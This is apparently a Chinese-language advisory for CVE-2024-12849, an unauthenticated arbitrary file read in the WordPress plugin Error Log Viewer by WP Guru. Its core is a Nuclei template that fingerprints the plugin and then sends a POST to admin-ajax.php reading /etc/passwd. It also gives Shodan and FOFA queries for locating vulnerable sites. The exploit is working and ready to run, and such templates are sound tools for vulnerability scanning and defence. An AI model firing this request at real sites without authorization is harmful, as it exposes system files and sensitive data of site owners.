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71 lines
2.5 KiB
Markdown
71 lines
2.5 KiB
Markdown
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# WordPress插件WP-Guru存在任意文件读取漏洞(CVE-2024-12849)
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WordPress 的 WP Guru 错误日志查看器插件在 1.0.1.3 及之前的所有版本中都容易受到通过 wp_ajax_nopriv_elvwp_log_download AJAX 操作进行任意文件读取的攻击。这使得未经身份验证的攻击者可以读取服务器上任意文件的内容，其中可能包含敏感信息。
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## poc
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```yaml
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id: CVE-2024-12849
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info:
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name: Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Arbitrary File Read
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author: s4e-io
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severity: high
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description: |
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The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
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reference:
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- https://github.com/RandomRobbieBF/CVE-2024-12849
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- https://www.wordfence.com/threat-intel/vulnerabilities/id/57888e36-3a61-4452-b4ea-9db9e422dc2d?source=cve
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- https://nvd.nist.gov/vuln/detail/CVE-2024-12849
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- https://www.cve.org/CVERecord?id=CVE-2024-12849
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- https://github.com/advisories/GHSA-899p-f2mf-g895
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- https://www.tenable.com/cve/CVE-2024-12849
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2024-12849
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cwe-id: CWE-22
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metadata:
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verified: true
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max-request: 2
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vendor: wp-guru
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product: error-log-viewer-wp
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framework: wordpress
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shodan-query: http.html:"wp-content/plugins/error-log-viewer-wp"
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fofa-query: body="wp-content/plugins/error-log-viewer-wp"
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tags: cve,cve2024,wordpress,wp-plugin,error-log-viewer-wp,lfi
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flow: http(1) && http(2)
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(body, "/wp-content/plugins/error-log-viewer-wp")'
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internal: true
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd
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matchers:
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- type: dsl
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dsl:
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- "regex('root:.*:0:0:', body)"
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- 'contains(content_type, "application/octet-stream")'
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- "status_code == 200"
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condition: and
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```
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## 漏洞来源
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- https://github.com/projectdiscovery/nuclei-templates/pull/11456/files
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